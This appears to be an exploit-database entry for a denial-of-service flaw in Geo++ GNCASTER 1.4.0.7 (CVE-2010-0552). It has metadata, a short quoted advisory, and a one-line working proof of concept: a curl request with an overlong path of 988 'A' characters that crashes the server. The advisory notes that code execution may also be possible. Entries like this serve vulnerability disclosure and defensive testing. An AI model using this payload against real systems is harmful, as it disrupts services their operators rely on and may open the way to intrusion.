Geo++ GNCASTER 1.4.0.7 - GET Denial of Service

Author: RedTeam Pentesting GmbH
type: dos
platform: linux
port: 0
date_added: 2010-01-27
date_updated: 2017-07-11
verified: 1
codes: CVE-2010-0552;OSVDB-62011
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source: https://www.securityfocus.com/bid/40009/info

Geo++ GNCASTER is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to cause the application to crash, resulting in a denial-of-service condition. Arbitrary code-execution may also be possible; this has not been confirmed.

Geo++ GNCASTER 1.4.0.7 is vulnerable; other versions may also be affected.

$ curl -i "http://www.example.com:1234/`perl -e 'printf "A"x988'`"